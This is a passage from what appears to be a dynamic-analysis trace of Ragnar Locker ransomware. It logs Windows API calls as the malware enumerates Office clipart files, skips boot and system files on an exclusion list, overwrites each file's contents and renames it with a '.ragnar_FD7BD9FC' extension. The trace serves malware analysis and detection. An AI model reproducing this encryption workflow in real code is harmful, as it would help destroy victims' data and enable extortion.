returned=".WMF" [0084.660] lstrcmpiW (lpString1="J0151045.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.660] lstrcmpiW (lpString1="J0151045.WMF", lpString2="autorun.inf") returned 1 [0084.660] lstrcmpiW (lpString1="J0151045.WMF", lpString2="boot.ini") returned 1 [0084.660] lstrcmpiW (lpString1="J0151045.WMF", lpString2="bootfont.bin") returned 1 [0084.660] lstrcmpiW (lpString1="J0151045.WMF", lpString2="bootsect.bak") returned 1 [0084.660] lstrcmpiW (lpString1="J0151045.WMF", lpString2="bootmgr") returned 1 [0084.660] lstrcmpiW (lpString1="J0151045.WMF", lpString2="bootmgr.efi") returned 1 [0084.660] lstrcmpiW (lpString1="J0151045.WMF", lpString2="bootmgfw.efi") returned 1 [0084.660] lstrcmpiW (lpString1="J0151045.WMF", lpString2="desktop.ini") returned 1 [0084.660] lstrcmpiW (lpString1="J0151045.WMF", lpString2="iconcache.db") returned 1 [0084.660] lstrcmpiW (lpString1="J0151045.WMF", lpString2="ntldr") returned -1 [0084.660] lstrcmpiW (lpString1="J0151045.WMF", lpString2="ntuser.dat") returned -1 [0084.660] lstrcmpiW (lpString1="J0151045.WMF", lpString2="ntuser.dat.log") returned -1 [0084.660] lstrcmpiW (lpString1="J0151045.WMF", lpString2="ntuser.ini") returned -1 [0084.660] lstrcmpiW (lpString1="J0151045.WMF", lpString2="thumbs.db") returned -1 [0084.660] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.661] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.661] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.661] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.661] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.661] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.661] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf")) returned 0x20 [0084.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.661] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15464) returned 1 [0084.661] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3c5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.661] GetProcessHeap () returned 0x580000 [0084.661] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.661] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.663] VirtualAlloc (lpAddress=0x0, dwSize=0x3c68, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.663] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.663] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.663] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c68, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c68, lpOverlapped=0x0) returned 1 [0084.664] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.664] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c68, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.664] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c68, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c68, lpOverlapped=0x0) returned 1 [0084.665] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c68, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.665] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.665] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3c68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.665] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.665] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.665] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.665] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.665] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.665] GetProcessHeap () returned 0x580000 [0084.665] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.665] CloseHandle (hObject=0xf4) returned 1 [0084.665] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" [0084.665] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.ragnar_FD7BD9FC" [0084.665] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.666] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4844, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151047.WMF", cAlternateFileName="")) returned 1 [0084.666] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.666] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0151047.WMF" | out: lpString1="J0151047.WMF") returned="J0151047.WMF" [0084.666] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned=".WMF" [0084.666] lstrcmpiW (lpString1="J0151047.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.666] lstrcmpiW (lpString1="J0151047.WMF", lpString2="autorun.inf") returned 1 [0084.666] lstrcmpiW (lpString1="J0151047.WMF", lpString2="boot.ini") returned 1 [0084.666] lstrcmpiW (lpString1="J0151047.WMF", lpString2="bootfont.bin") returned 1 [0084.666] lstrcmpiW (lpString1="J0151047.WMF", lpString2="bootsect.bak") returned 1 [0084.666] lstrcmpiW (lpString1="J0151047.WMF", lpString2="bootmgr") returned 1 [0084.666] lstrcmpiW (lpString1="J0151047.WMF", lpString2="bootmgr.efi") returned 1 [0084.666] lstrcmpiW (lpString1="J0151047.WMF", lpString2="bootmgfw.efi") returned 1 [0084.666] lstrcmpiW (lpString1="J0151047.WMF", lpString2="desktop.ini") returned 1 [0084.666] lstrcmpiW (lpString1="J0151047.WMF", lpString2="iconcache.db") returned 1 [0084.666] lstrcmpiW (lpString1="J0151047.WMF", lpString2="ntldr") returned -1 [0084.666] lstrcmpiW (lpString1="J0151047.WMF", lpString2="ntuser.dat") returned -1 [0084.666] lstrcmpiW (lpString1="J0151047.WMF", lpString2="ntuser.dat.log") returned -1 [0084.667] lstrcmpiW (lpString1="J0151047.WMF", lpString2="ntuser.ini") returned -1 [0084.667] lstrcmpiW (lpString1="J0151047.WMF", lpString2="thumbs.db") returned -1 [0084.667] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.667] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.667] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.667] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.667] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.667] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.667] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf")) returned 0x20 [0084.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.667] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18500) returned 1 [0084.667] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x483b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.667] GetProcessHeap () returned 0x580000 [0084.667] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.667] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.669] VirtualAlloc (lpAddress=0x0, dwSize=0x4844, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.669] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.669] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.669] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4844, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4844, lpOverlapped=0x0) returned 1 [0084.670] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.670] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4844, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.670] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4844, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4844, lpOverlapped=0x0) returned 1 [0084.671] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4844, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.671] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.671] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.671] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.671] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.671] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.671] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.671] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.671] GetProcessHeap () returned 0x580000 [0084.671] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.671] CloseHandle (hObject=0xf4) returned 1 [0084.671] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" [0084.671] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.ragnar_FD7BD9FC" [0084.671] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.672] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3928, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151055.WMF", cAlternateFileName="")) returned 1 [0084.672] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.672] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0151055.WMF" | out: lpString1="J0151055.WMF") returned="J0151055.WMF" [0084.672] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned=".WMF" [0084.672] lstrcmpiW (lpString1="J0151055.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.672] lstrcmpiW (lpString1="J0151055.WMF", lpString2="autorun.inf") returned 1 [0084.672] lstrcmpiW (lpString1="J0151055.WMF", lpString2="boot.ini") returned 1 [0084.672] lstrcmpiW (lpString1="J0151055.WMF", lpString2="bootfont.bin") returned 1 [0084.672] lstrcmpiW (lpString1="J0151055.WMF", lpString2="bootsect.bak") returned 1 [0084.672] lstrcmpiW (lpString1="J0151055.WMF", lpString2="bootmgr") returned 1 [0084.672] lstrcmpiW (lpString1="J0151055.WMF", lpString2="bootmgr.efi") returned 1 [0084.672] lstrcmpiW (lpString1="J0151055.WMF", lpString2="bootmgfw.efi") returned 1 [0084.672] lstrcmpiW (lpString1="J0151055.WMF", lpString2="desktop.ini") returned 1 [0084.672] lstrcmpiW (lpString1="J0151055.WMF", lpString2="iconcache.db") returned 1 [0084.672] lstrcmpiW (lpString1="J0151055.WMF", lpString2="ntldr") returned -1 [0084.672] lstrcmpiW (lpString1="J0151055.WMF", lpString2="ntuser.dat") returned -1 [0084.672] lstrcmpiW (lpString1="J0151055.WMF", lpString2="ntuser.dat.log") returned -1 [0084.672] lstrcmpiW (lpString1="J0151055.WMF", lpString2="ntuser.ini") returned -1 [0084.673] lstrcmpiW (lpString1="J0151055.WMF", lpString2="thumbs.db") returned -1 [0084.673] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.673] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.673] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.673] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.673] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.673] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.673] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf")) returned 0x20 [0084.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.674] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14632) returned 1 [0084.674] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x391f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.674] GetProcessHeap () returned 0x580000 [0084.674] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.674] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.675] VirtualAlloc (lpAddress=0x0, dwSize=0x3928, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.675] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.676] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.676] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3928, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3928, lpOverlapped=0x0) returned 1 [0084.677] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.677] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3928, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.677] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3928, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3928, lpOverlapped=0x0) returned 1 [0084.677] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3928, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.677] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.677] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3928, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.677] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.677] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.677] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.678] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.678] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.678] GetProcessHeap () returned 0x580000 [0084.678] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.678] CloseHandle (hObject=0xf4) returned 1 [0084.678] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" [0084.678] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.ragnar_FD7BD9FC" [0084.678] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.678] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151061.WMF", cAlternateFileName="")) returned 1 [0084.678] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.678] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0151061.WMF" | out: lpString1="J0151061.WMF") returned="J0151061.WMF" [0084.678] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned=".WMF" [0084.679] lstrcmpiW (lpString1="J0151061.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.679] lstrcmpiW (lpString1="J0151061.WMF", lpString2="autorun.inf") returned 1 [0084.679] lstrcmpiW (lpString1="J0151061.WMF", lpString2="boot.ini") returned 1 [0084.679] lstrcmpiW (lpString1="J0151061.WMF", lpString2="bootfont.bin") returned 1 [0084.679] lstrcmpiW (lpString1="J0151061.WMF", lpString2="bootsect.bak") returned 1 [0084.679] lstrcmpiW (lpString1="J0151061.WMF", lpString2="bootmgr") returned 1 [0084.679] lstrcmpiW (lpString1="J0151061.WMF", lpString2="bootmgr.efi") returned 1 [0084.679] lstrcmpiW (lpString1="J0151061.WMF", lpString2="bootmgfw.efi") returned 1 [0084.679] lstrcmpiW (lpString1="J0151061.WMF", lpString2="desktop.ini") returned 1 [0084.679] lstrcmpiW (lpString1="J0151061.WMF", lpString2="iconcache.db") returned 1 [0084.679] lstrcmpiW (lpString1="J0151061.WMF", lpString2="ntldr") returned -1 [0084.679] lstrcmpiW (lpString1="J0151061.WMF", lpString2="ntuser.dat") returned -1 [0084.679] lstrcmpiW 